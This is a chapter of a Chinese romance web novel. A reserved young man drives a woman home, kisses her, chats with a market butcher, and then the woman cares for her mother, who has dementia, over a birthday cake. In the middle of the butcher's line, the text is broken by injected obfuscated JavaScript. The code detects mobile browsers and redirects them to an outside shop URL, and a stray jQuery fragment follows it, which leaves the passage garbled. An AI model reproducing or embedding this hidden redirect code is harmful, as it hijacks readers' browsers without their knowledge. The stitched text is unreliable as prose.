叶一开车很稳，被人插队或是别车都不会生气，一味地忍让，没有半点路怒症的迹象。他车技不算熟练，但胜在平稳。
距离他们驶出停车场已经过了五分钟了，叶一的耳尖依然通红。
刚才许阳秋闭着眼睛靠着窗户，随口回答他的问题，她说：“了解啊，你喜欢黑框眼镜，也喜欢咬人。”
然后叶一就哑巴了，埋头挂档、踩下油门，然后——倒车雷达响了。
他在许阳秋的闷笑声中重新挂挡，磕磕绊绊地出发。
这会儿脖子上的红已经褪去，只剩耳尖。
冲剂生效很快，她头痛缓解了不少，有一搭没一搭地跟叶一聊天：“什么时候考的驾照？......别看我，看路，不是你觉着我不够了解你吗？”
“高三毕业。”叶一闻言又转回去看路，“我那时想把小玉接到身边照顾，所以先考了个驾照，但院长没同意。”
“那会儿你多大，十八岁？”
“嗯。”叶一修长的手指握着方向盘，稳稳地操作，“院长想让我好好读书，也舍不得小玉。”
许阳秋问：“那你大学毕业以后怎么打算的？”
“院长还是不肯......”叶一轻叹一口气，“我拗不过院长，只好让小玉先留在院长家，我来回跑一跑问题不大。”
“噗。”许阳秋没忍住。
叶一握着方向盘的手骨节分明，青筋暴起。
“......这世上还有你拗不过的人？”许阳秋笑道，“一物降一物。”
“我也拗不过Sean哥。”他平淡道。
“你怎么对他那么大意见？”许阳秋问他。
犟种见犟种，不应该两眼泪汪汪吗？
叶一抿着嘴不说话。
“我真的不了解你。”布洛芬生效，她头痛症状消失，有力气逗他，“问你，你又不肯说。”
“上周的晚上Sean一直给你发消息。”叶一声音闷在嗓子眼里，她费了好大力气才听清，“......你不专心。”
上周她担心Sean一行人的安全，屡次三番在正事干了一半的时候去看信息。
说话间，叶一把车开进地下车库，在车位上停稳，他故作镇定地说：“你先在车上休息一会。等我，我去买菜。”
说完准备下车，却被许阳秋拉住。
“我嘴巴好苦。”她笑道，“这次保证专心。”
叶一左手解开安全带，接着把手按在副驾驶的玻璃上，睫毛垂下来看着她，离她很近。她靠在真皮车座上纹丝没动，眼神落在他脸上。
他看了几秒，在她唇上轻轻吻了一下，一触即放，只留下一点苹果糖的清甜味道。
没有她预想中的激烈，她侧头仰着下巴瞅他。
叶一抬手把她额角的碎发撩到耳后，拇指轻轻扫过她的太阳穴，干巴巴地说：“你，休息等我，我，买菜。”
说完逃也似的下车走人，头也没回。
许阳秋远远看着他的背影，想笑他却没笑出来。
她目送他的身影消失在拐角，靠在椅背上怔了片刻，用手背贴了下脸颊。
片刻后，她决定不在这等他。
她伸手把车熄火，拿上车钥匙，锁车上楼，一边上楼一边给叶一发了条消息。
“今天五花肉新鲜，阿姨送你两块。”肉摊阿姨喜滋滋地看着面前的白净帅哥，他几乎天天照顾她生意，她手脚麻利地把鸡腿和一块牛肉装进塑料袋，“三十二块五，扫我三十就行。”
【吱富宝到账——32.5元】
“阿姨，五花肉不用了。”叶一付完钱收起手机，抬手把塑料袋接过来。
“哦对。”肉摊阿姨爽朗一笑，“你女朋友不吃肥肉是不？阿姨给忘了，那送你几个鸡翅。”
叶一没再推拒，撑开手里的袋子让阿姨把鸡翅放进来：“能充上电了吗？”
“有了有了。”肉摊阿姨摘下手套，拿起桌上的手机给他看，“多亏你帮我修，隔壁那个维修摊的黄毛心太黑，张口就要五十。以后还来阿姨摊位，阿姨省下的钱都请你们吃肉。”
说完她才想起来问：“哎小伙，我这手机什么毛病来着？”
叶一：“没毛病，数据线接触不良，我给你拿胶带贴上了，再坏就换新线，手机没事儿。”
“那个嘴上没毛儿的死黄毛！”阿姨嗓门很大，“还敢骗我钱？！”
叶一正要走，手机突然亮了起来：
【我先上楼了，不用来车库接我。】
【我不太舒服，不吃晚饭。】
阿姨骂骂咧咧半天，把满肚子脏话都用上了，却没听见反馈，这才收声打量面前的小帅哥，他右手拎着几个塑料袋子的菜，左手拿着手机，一动不动地在原地站着，半天没动地方。
她伸长脖子也没看清他手机屏幕里的小字，于是小心翼翼问他：“咋回事儿？女朋友生气了？要不阿姨再送你俩鸡翅，你凑一盘可乐鸡翅？小姑娘都爱吃这个。”
小帅哥还盯着屏幕：“她戒糖。”
他天天这个点儿来买菜，但从没见过他女朋友。她对那姑娘可太好奇了，得是什么样的人，能让这小帅哥死心塌地当半个保姆。肉摊阿姨擦了擦手：“害......那就红烧呗。”
叶一从手机上回过神来，平静地看着她说：“不是我女朋友。”
“啥？”
“她不是我女朋友。”
“之前也没见你纠正我，这一吵架就不是女朋友啦？”肉摊阿姨想起他雷打不动买菜做饭的样子，八卦道，“你该不会......还没追上吧？”
叶一没想多聊，跟阿姨一点头，准备往回走。
“哎哎哎，小伙子，阿姨教教你呗？”肉摊阿姨出声拦他，“一看你就不会追小姑娘，阿姨年轻的时候也被人家追过，阿姨有经验......”
小帅哥闻言站住了，回过头竟然真的在听。
她赶紧接着说：“追姑娘就那么回事呗，她天天吃你做的饭，能不明白你的心意吗？拖着你等什么呢？还不是等你挑明！我跟你说，小姑娘很注重仪式感的，你买个花送个礼物，郑重其事地跟人家一说，那不就成了？”
“挑明的话，那大概......就真的没有然后了。”
她看着小帅哥亮起来的眼睛又灭掉，实在是没听懂他这句中国话：“为啥？啊......小姑娘家里条件比你好是不？还是学历和工作比你好？”
“哪里都好。”他说得不明不白，没再逗留，只给她留下了一个落寞的背影。
肉摊阿姨拿抹布擦了擦手，盯着被他缠好的数据线感叹道：“啧啧啧，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573264|139679||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看不出来这小伙子还是个......那叫什么来着？......爱情脑！”
/
“保险箱”女士今天穿着一身水蓝色的裙子，头发也半扎起来，气色不错，但话很少。她安静地坐在餐桌旁，摆弄着面前粉蓝色的精致方纸盒。
“许总，她晚餐吃得不多，再劝也不肯吃。”护理阿姨有些局促地将手握在一起，“晚上出门活动的时候她站在蛋糕店门口不肯走，也说不出个所以然，就给她买了一块。”
“知道了。”许阳秋坐在她旁边，头痛被布洛芬的药效压下去了，但布洛芬伤胃，她这会儿胃部有轻微的灼热感，她单手摁住，凑近一点跟妈妈说话，“买蛋糕干什么呀？”
“三十五......”她脸上笑容很温柔，有些笨拙地拆开蛋糕的外包装，“一天就好了，没事再说，不知道会不会回来，你会去......”
许阳秋没从她颠三倒四的话里猜出半点内容，于是放慢语速又问了一次：“妈妈，我在问你问题，这个蛋糕，你看蛋糕，为什么买蛋糕？”
“蛋糕......”钱桂已经把蛋糕拆开，摆在桌面上，手颤颤巍巍地摸着盒子，四下翻找，“我也不知道......”
护理阿姨把有些锋利的塑料刀拿到一边，说道：“我白天问了她几次，也没听明白。”
“没事，再来几次。”许阳秋耐心地拉着“保险箱”女士的手，“妈妈，看我看我。”
钱桂听话的转过头来，那双温柔的浅色眼睛注视着她。
“蛋糕、蛋糕、蛋糕。”许阳秋一字一顿地重复，“为什么，买蛋糕？”
钱桂有些空荡的眼神聚焦一些：“......三十五。”
“三十五？”许阳秋重复道，“三十五是什么呀？”
钱桂含糊道：“......快乐。”
许阳秋想到什么，随口问：“今天几号？”
她问的是护理阿姨，钱桂却很顺畅地开口：“二十一号。”
六月二十一日，许魄的生日。她没问“保险箱”女士今年是哪年，大概率是许魄三十五岁生日那年。
许阳秋笑道：“恋爱脑。”
钱桂盯着面前的蛋糕，伸手抓了一把，右手上全是奶油，护理阿姨赶紧伸手拦她。
“随她吧。”许阳秋拿叉子戳了戳蛋糕上层的奶油花，确认里面没有牙签之类的硬底座，就没在管她。
于是钱桂愉快地把生日主角抛在脑后，吃起了手抓蛋糕。她虽说在做出格的举动，但举手投足却带着淡淡的优雅，她三根手指握着蛋糕胚，送到嘴边咬了一小口。
许阳秋调笑道：“说你优雅吧......你拿手抓。说你粗糙吧......你怎么还翘着个兰花指呢？”
说完就坏事了，钱桂把手里的蛋糕伸到她面前，小拇指依然翘着：“......给。”
“不用不用。”许阳秋往后躲，“你多吃点。”
钱桂听话地把手收回去，又吃了一口，嘴角蘸上了一点奶油，看着像个小朋友。
突然，许阳秋空荡荡的肚子“咕噜噜”地响了一声，她暗道不好，缓慢地起身开溜——
——然后就被一块软趴趴的烂蛋糕挡住了去路。
钱桂的右手直直地伸过来，露出个天真的笑容：“你饿。”